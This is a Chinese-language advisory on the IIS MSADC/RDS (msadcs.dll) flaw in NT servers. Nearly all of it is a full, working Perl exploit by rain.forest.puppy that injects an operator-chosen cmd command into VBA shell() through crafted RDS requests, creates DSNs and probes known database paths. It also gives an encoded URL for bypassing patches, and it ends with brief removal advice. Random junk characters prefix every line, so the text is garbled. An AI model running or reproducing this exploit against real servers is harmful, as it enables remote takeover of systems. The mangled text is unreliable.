IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ZEXj |w C ~_/<PIm 涉及程序：
BXKlO (7 Microsoft NT server
D]LFX/hlH o|Yn(xu- 描述：
E.WNykF- 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
\ (3Qqbw u(TgWp5WF 详细：
0%q{UW2 如果你没有时间读详细内容的话，就删除:
)l 4>=y c:\Program Files\Common Files\System\Msadc\msadcs.dll
mfp`Iy"}+ 有关的安全问题就没有了。
dvrvp DoE. 5Xq.=/ eX 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
75^) Ni w|K(>5nz 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
tro y^H 关于利用ODBC远程漏洞的描述，请参看:
>qh>Qm8w Dn{19V. L http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TA-(_jm :_I
wc= 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
a{%52B" http://www.microsoft.com/security/bulletins/MS99-025faq.asp &)fhlp5 d =c1WK 这里不再论述。
P_^ |KEz /S2p ``E+ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
m;$F@JJ
k=d%.kg /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
K2cp f 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
| P[D2R} gpO_0U4lQ] ,_TH@0{ #将下面这段保存为txt文件，然后: "perl -x 文件名"
+Y>cBSO NXV~[ #!perl
Sx4UaV~" #
k7Be'E
BKG # MSADC/RDS 'usage' (aka exploit) script
It!.*wp #
*BP\6"X # by rain.forest.puppy
1z $}*` #
z wniS6R1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
k8t Na@H # beta test and find errors!
jmZ|b6 `*2* xDuP use Socket; use Getopt::Std;
sWpRX2 {5, getopts("e:vd:h:XR", \%args);
nw ]e_ sm D ^T7pO print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
BSq;R G( L2V
$%*6 if (!defined $args{h} && !defined $args{R}) {
aLyhxmn ^) print qq~
(Db*.kd8, Usage: msadc.pl -h <host> { -d <delay> -X -v }
VUg~[ -h <host> = host you want to scan (ip or domain)
(<:rKp -d <seconds> = delay between calls, default 1 second
!_/8!95 -X = dump Index Server path table, if available
y 1jGf83 -v = verbose
A$9_aqbj -e = external dictionary file for step 5
Xj @
1rvf\ [ Or a -R will resume a command session
Q e2 /4j4 *t]&b ;=gE ~; exit;}
C\hZ;Z1 k0Vo $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
vSHIl"h if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"n2xn%t{ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
zdpLAr if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0 o^ #Fmuz $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6jy n,GU if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
g`f6gxc /w0v5X7 if (!defined $args{R}){ $ret = &has_msadc;
{1-CfQ0
8 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=QxE -)v :R _#'i print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+ouy]b0`t . "cmd /c ";
>i#_)th"U! $in=<STDIN>; chomp $in;
'%|20 j $command="cmd /c " . $in ;
KohQ6q 5yN8%_)T if (defined $args{R}) {&load; exit;}
bZ@5 3 Xy(SzJ % print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
X7 B)j H%N &try_btcustmr;
pmpn^ZR s R0e&Y print "\nStep 2: Trying to make our own DSN...";
\ ]e w@C &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
/j5-
"<;. ; hRpAN print "\nStep 3: Trying known DSNs...";
owS@dbO &known_dsn;
d_?Zr`: }rAN2D]"} print "\nStep 4: Trying known .mdbs...";
3~1lVU: &known_mdb;
Z?j= '/u>@ p/^\(/\]) if (defined $args{e}){
a^)4q\E print "\nStep 5: Trying dictionary of DSN names...";
@xM !: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
x) qHeS \5pAG
mgD print "Sorry Charley...maybe next time?\n";
%dWFg<< | exit;
~9>[ U%D ;g)Fhdy! ##############################################################################
~[/c'3+4qn =K< I)2
sub sendraw { # ripped and modded from whisker
W/F4wEODY sleep($delay); # it's a DoS on the server! At least on mine...
c+K=pp@ my ($pstr)=@_;
uJ5%JB("E socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
UFY~D"% / die("Socket problems\n");
ZK_@.O+ ] if(connect(S,pack "SnA4x8",2,80,$target)){
~esEql=Q3' select(S); $|=1;
a D3F!Sn print $pstr; my @in=<S>;
v]Q _ select(STDOUT); close(S);
DP'Dg /D return @in;
r D!.N
} else { die("Can't connect...\n"); }}
*/dsMa `]I5WTt*X ##############################################################################
3usA CR PE?CRQF sub make_header { # make the HTTP request
:W<,iqSCm my $msadc=<<EOT
WHj4#v( POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
WuQ<AS= User-Agent: ACTIVEDATA
#1hz=~YO Host: $ip
H?bs K~ Content-Length: $clen
v+_Y72h*a Connection: Keep-Alive
'p ls ]I] Y\9*e5?`I3 ADCClientVersion:01.06
TdOWdPvYj Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
$=QO_t)? F^bQ - --!ADM!ROX!YOUR!WORLD!
xgw)`>p,W Content-Type: application/x-varg
7D_kkhN Content-Length: $reqlen
&"6ktKrIg ?g#t3j>zoF EOT
3 &Zx *: ; $msadc=~s/\n/\r\n/g;
ex!w Y return $msadc;}
G y7x? adPU)k_j: ##############################################################################
Lj* =*V cb&In<q sub make_req { # make the RDS request
teNQUIe- my ($switch, $p1, $p2)=@_;
bRe *( my $req=""; my $t1, $t2, $query, $dsn;
S aq>o. Dj&bHC5% if ($switch==1){ # this is the btcustmr.mdb query
?- & D' $query="Select * from Customers where City=" . make_shell();
c5+lm}R ? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
r!gCh`PiK $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<>/MKMq! dC|#l?P elsif ($switch==2){ # this is general make table query
#$rT 4N c; $query="create table AZZ (B int, C varchar(10))";
fU7:3"|s8 $dsn="$p1";}
wgP3&4cSUc 6i=wAkn_J elsif ($switch==3){ # this is general exploit table query
2*DS_ =6o $query="select * from AZZ where C=" . make_shell();
V~"d`j $dsn="$p1";}
G9":z| >} (*s^!k elsif ($switch==4){ # attempt to hork file info from index server
ewP d hCK $query="select path from scope()";
Bo(l !G $dsn="Provider=MSIDXS;";}
BU{ V,|10a .wn_e=lT elsif ($switch==5){ # bad query
.-6s`C2
Y} $query="select";
,$ret@.H $dsn="$p1";}
$ttr_4= 2j BE+k"M $t1= make_unicode($query);
b'"% $t2= make_unicode($dsn);
;pK"N:| $req = "\x02\x00\x03\x00";
-2Cf)>`v $req.= "\x08\x00" . pack ("S1", length($t1));
w/D m $req.= "\x00\x00" . $t1 ;
K T72D $req.= "\x08\x00" . pack ("S1", length($t2));
5kZ yiC* $req.= "\x00\x00" . $t2 ;
84\o7@$# $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`mTxtuid{ return $req;}
`l#$l3v+ !0+Ex
F ##############################################################################
,/U 9 v~ 6U3@-+lF sub make_shell { # this makes the shell() statement
8=A KOOU7> return "'|shell(\"$command\")|'";}
HCy} '}d )cBV;
E< ##############################################################################
~}ZX^l&k{P 1h0ohW sub make_unicode { # quick little function to convert to unicode
Y b g`Z my ($in)=@_; my $out;
= +\ oL!^ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
KTJ $#1q return $out;}
(p Nng"/ V]cY+4Y ##############################################################################
+Z0E?,Oz ~m&oa@*=y sub rdo_success { # checks for RDO return success (this is kludge)
@(?d0xCg my (@in) = @_; my $base=content_start(@in);
B\w` )c if($in[$base]=~/multipart\/mixed/){
Ot<!Y M return 1 if( $in[$base+10]=~/^\x09\x00/ );}
LA0x6E+I return 0;}
@= 9y5r f#MN-1[67 ##############################################################################
/YR $#&N2 /aE Q3 x sub make_dsn { # this makes a DSN for us
0~+:~$VrT my @drives=("c","d","e","f");
tC~itU=V print "\nMaking DSN: ";
0R%58, R foreach $drive (@drives) {
t!C-G+It print "$drive: ";
F+r6/e6a my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[=!MS?-G "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
I k)Q0_<a . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
"& |2IA $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
:HQ/vVw'"9 return 0 if $2 eq "404"; # not found/doesn't exist
|{"7/~*[ if($2 eq "200") {
!A0bb J foreach $line (@results) {
~`f B\7 M return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
h :90K } return 0;}
:AGQkJb Im#$iPIvT ##############################################################################
ir?9{t/() Ip-jqN J~ sub verify_exists {
}H.vH my ($page)=@_;
<3Cr CEPC my @results=sendraw("GET $page HTTP/1.0\n\n");
w;_=$L'H&G return $results[0];}
|sAg@kM {` ##############################################################################
P dnK@a 8~>3&jX sub try_btcustmr {
e /Y+S;a my @drives=("c","d","e","f");
@ U|u _S@ my @dirs=("winnt","winnt35","winnt351","win","windows");
PS1~ 6f"D Yw
`VL)v(y foreach $dir (@dirs) {
Rw% KEUDm print "$dir -> "; # fun status so you can see progress
z<*]h^ !3 foreach $drive (@drives) {
Ca|;8ggf print "$drive: "; # ditto
"TI?
qoz $reqlen=length( make_req(1,$drive,$dir) ) - 28;
t BQ>
p. $reqlenlen=length( "$reqlen" );
A/aQpEb% $clen= 206 + $reqlenlen + $reqlen;
gQwmY e X2Mj|_#u my @results=sendraw(make_header() . make_req(1,$drive,$dir));
q o|iw+0Y if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
v_ h{_b 8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
@I:&ozy }= }hxYsI"d ##############################################################################
`-m7CT sA 2M p;/b! sub odbc_error {
=G6@:h= my (@in)=@_; my $base;
|7'W)s5. my $base = content_start(@in);
M$9h)3(B if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
y0]O 6.{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r>o6}Mx$ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Vo[4\h#$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2T5ZbXc+x return $in[$base+4].$in[$base+5].$in[$base+6];}
*ni|I@ 8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
k=}hY+/= print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
KG@hjO $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
uI/
A_ LLi X%XOh ##############################################################################
Yw0@O1Cel M`'2
a sub verbose {
!hUyX}{`j my ($in)=@_;
)-gyDA return if !$verbose;
V- 0Y~T print STDOUT "\n$in\n";}
va<pHSX&I@ ?Fu., srt ##############################################################################
5N0H^ g> f394j sub save {
8pk">"#s my ($p1, $p2, $p3, $p4)=@_;
;p8xL)mUP open(OUT, ">rds.save") || print "Problem saving parameters...\n";
\&0NH=*^ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
>{Djx close OUT;}
>E3OYa?G Sb.;$Be5g ##############################################################################
VXp
X#O *d 4D9( sub load {
+,,~ <Vm my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
bql6Z1l open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{;r5]wimb @p=<IN>; close(IN);
C 4,W[L]4" $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
=9-c*bL $target= inet_aton($ip) || die("inet_aton problems");
Zlhr0itf print "Resuming to $ip ...";
aoN[m V ' $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
l]gf T& if($p[1]==1) {
gqd#rjtfz $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
4j5plm= $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
{1[8,Ho my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
%O k.XBS) if (rdo_success(@results)){print "Success!\n";}
%0QYkHdFR` else { print "failed\n"; verbose(odbc_error(@results));}}
" PPwJ/L( elsif ($p[1]==3){
2cL< ` if(run_query("$p[3]")){
\Uiw:
, print "Success!\n";} else { print "failed\n"; }}
Yhfk { CI elsif ($p[1]==4){
t"Rn#V\c." if(run_query($drvst . "$p[3]")){
(#~063N,# print "Success!\n"; } else { print "failed\n"; }}
%"D-1&%zY exit;}
K 9c:K/H eo !{rs@f ##############################################################################
umk[\}Ip+P PYGHN
T sub create_table {
MeC@+@C my ($in)=@_;
~7|z 2L $reqlen=length( make_req(2,$in,"") ) - 28;
&LE/hA $reqlenlen=length( "$reqlen" );
wbTw\b= $clen= 206 + $reqlenlen + $reqlen;
7o3f5"z my @results=sendraw(make_header() . make_req(2,$in,""));
*" wsMO return 1 if rdo_success(@results);
Nsb13mlY my $temp= odbc_error(@results); verbose($temp);
J c*A\-qC. return 1 if $temp=~/Table 'AZZ' already exists/;
'0+-Hit? return 0;}
t$b`Am ;IyQqP#,< ##############################################################################
q-'zZ# 8l6R.l
sub known_dsn {
j1)w1WY0@ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
:7gIm|2"] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
@L0.Z1 ). "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
sqhM[u
k "banner", "banners", "ads", "ADCDemo", "ADCTest");
^+88z> $P$OWp?b foreach $dSn (@dsns) {
B 4%W ,F:@ print ".";
h8Gp>b next if (!is_access("DSN=$dSn"));
"\30Y O>\ if(create_table("DSN=$dSn")){
*5^h>Vk/ print "$dSn successful\n";
: 0 /I2: if(run_query("DSN=$dSn")){
;TYkJH" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~ ~&M&Fe
print "Something's borked. Use verbose next time\n";}}} print "\n";}
k 2~j:&p -O\ `G<s% ##############################################################################
c(:GsoO u7K0m!
jW sub is_access {
1:?Wv DN= my ($in)=@_;
ebf0;1! $reqlen=length( make_req(5,$in,"") ) - 28;
qbjRw!2?w $reqlenlen=length( "$reqlen" );
C
7v
8 $clen= 206 + $reqlenlen + $reqlen;
: 7'anj my @results=sendraw(make_header() . make_req(5,$in,""));
}0:=)e my $temp= odbc_error(@results);
!^w+ <p verbose($temp); return 1 if ($temp=~/Microsoft Access/);
xGjEEBL return 0;}
[dL#0~CL$ MOXDR ##############################################################################
2!A/]:[F d:3G4g sub run_query {
."${.BPn~ my ($in)=@_;
>354O6 $reqlen=length( make_req(3,$in,"") ) - 28;
ZDlMkHJ $reqlenlen=length( "$reqlen" );
m6s32??m $clen= 206 + $reqlenlen + $reqlen;
V }& my @results=sendraw(make_header() . make_req(3,$in,""));
_15r!RZ:1 return 1 if rdo_success(@results);
:2La, my $temp= odbc_error(@results); verbose($temp);
I_Q '+d return 0;}
Jf 2 6 LC*X ##############################################################################
I%|W
O*x US-P>yF sub known_mdb {
$% LjIeVA5 my @drives=("c","d","e","f","g");
X=lOwPvP my @dirs=("winnt","winnt35","winnt351","win","windows");
J*.qiUAgW my $dir, $drive, $mdb;
mhL ,:UE my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k@^)>J^ LbnR=B! # this is sparse, because I don't know of many
{$b] K-B my @sysmdbs=( "\\catroot\\icatalog.mdb",
e(sQgtM6 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%A04'dj`zQ "\\system32\\certmdb.mdb",
.- {B "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
w _n)*he)z 2%QY~Ku~ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
J?HYN% "\\cfusion\\cfapps\\forums\\forums_.mdb",
}{ s<!b "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
: -OHD#>% "\\cfusion\\cfapps\\security\\realm_.mdb",
bEbnZ<kz* "\\cfusion\\cfapps\\security\\data\\realm.mdb",
m3 ,i{ "\\cfusion\\database\\cfexamples.mdb",
t68h$u "\\cfusion\\database\\cfsnippets.mdb",
_&P![o)x "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
b2hB' !m "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
-3A#a_fu "\\cfusion\\brighttiger\\database\\cleam.mdb",
U)2\ = %8 "\\cfusion\\database\\smpolicy.mdb",
M '[.ay "\\cfusion\\database\cypress.mdb",
lf&g *%?1 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
S Bs_rhe "\\website\\cgi-win\\dbsample.mdb",
'~2;WF0h "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
k? X7h2 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
zgV{S
Qo ); #these are just
U\P ;,o foreach $drive (@drives) {
A~u-Iv(U foreach $dir (@dirs){
iphe0QE[#} foreach $mdb (@sysmdbs) {
x,pzX( print ".";
a8''t_Dp if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
vk&C'&uV9@ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
IZ "d s=w if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
vn7<>k> dx print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
>O?5mfMK } else { print "Something's borked. Use verbose next time\n"; }}}}}
ex1b j M7 |\J8:b> } foreach $drive (@drives) {
w`q):yXX foreach $mdb (@mdbs) {
wjDLsf, print ".";
d
H]'&&M if(create_table($drv . $drive . $dir . $mdb)){
m
z) O print "\n" . $drive . $dir . $mdb . " successful\n";
D3N\$ D if(run_query($drv . $drive . $dir . $mdb)){
6Dwj^e0 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
_Uc le } else { print "Something's borked. Use verbose next time\n"; }}}}
Srg `Tt] }
x
xWnB a2/!~X9F ##############################################################################
g^/ s${ew.eW sub hork_idx {
s0WI93+z print "\nAttempting to dump Index Server tables...\n";
%Sf%XNtu print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
lOYz o $reqlen=length( make_req(4,"","") ) - 28;
1*, f $reqlenlen=length( "$reqlen" );
n]jZ2{g+ $clen= 206 + $reqlenlen + $reqlen;
>d%;+2 my @results=sendraw2(make_header() . make_req(4,"",""));
\hoYQK j if (rdo_success(@results)){
;b-Y$< my $max=@results; my $c; my %d;
^^1rj h1I for($c=19; $c<$max; $c++){
Q E1DTU $results[$c]=~s/\x00//g;
# **vIwX-Q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
3!ZndW SHV $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
A@^Y2:pY $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
d#'aT mu! $d{"$1$2"}="";}
-A WL :< foreach $c (keys %d){ print "$c\n"; }
i{vM NI{ } else {print "Index server doesn't seem to be installed.\n"; }}
eTw sh] v4 7Y7s:uQ ##############################################################################
B_$hi=?TTd ~RgO9p(dY sub dsn_dict {
Us P1bh4 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
E|P while(<IN>){
!lpKZG $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
bxLeQWr6 next if (!is_access("DSN=$dSn"));
)2~Iqzc4 if(create_table("DSN=$dSn")){
Ev+m+ print "$dSn successful\n";
!N ua if(run_query("DSN=$dSn")){
KeFEUHU print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9x$Kb7'F print "Something's borked. Use verbose next time\n";}}}
ziPE(B print "\n"; close(IN);}
J0K25w v0v%+F#>@ ##############################################################################
H =,0p w_4/::K* sub sendraw2 { # ripped and modded from whisker
g:V8"' sleep($delay); # it's a DoS on the server! At least on mine...
jz t$ my ($pstr)=@_;
aAJ'0xnj socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
JO{Rt h die("Socket problems\n");
WCJ $S\# if(connect(S,pack "SnA4x8",2,80,$target)){
QU{|S.\ print "Connected. Getting data";
K)=<hL open(OUT,">raw.out"); my @in;
M*6}# ST select(S); $|=1; print $pstr;
;iEr+ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
" -bsWC close(OUT); select(STDOUT); close(S); return @in;
KVQ|l,E,
/ } else { die("Can't connect...\n"); }}
W{'RR. !}
~K'1 " ##############################################################################
[ed6n@/O@ %+0
7>/ sub content_start { # this will take in the server headers
9 8O0 M#|d my (@in)=@_; my $c;
&b~if}vcb for ($c=1;$c<500;$c++) {
x"7`,W if($in[$c] =~/^\x0d\x0a/){
JWzN 'a R if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
] / w: 5o# else { return $c+1; }}}
w=Cq v~ return -1;} # it should never get here actually
vK@t=d E 3%:7MB ##############################################################################
Bg3`w__l; ! 3&_#VO sub funky {
afE`GG- my (@in)=@_; my $error=odbc_error(@in);
>Z-f</v03 if($error=~/ADO could not find the specified provider/){
p) '.swpJ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
J)yNp,V exit;}
ii,/omn: if($error=~/A Handler is required/){
(?[^##03MN print "\nServer has custom handler filters (they most likely are patched)\n";
E6
gl R exit;}
-`knSR if($error=~/specified Handler has denied Access/){
`GGACH3# s print "\nServer has custom handler filters (they most likely are patched)\n";
k(As^'> exit;}}
1"7Rs}l7 e&*< "WN ##############################################################################
|^ K"#K q4Z9;^S sub has_msadc {
e;_ cC7 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
C B&$tDi my $base=content_start(@results);
e[ `u: return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Qqju6} + return 0;}
P01o: /} {-FS+D` ########################
kWkAfzf4a -^a?]`3_v D`|.% 解决方案：
#A&(b}#:o 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Nw 74T 2、移除web 目录: /msadc
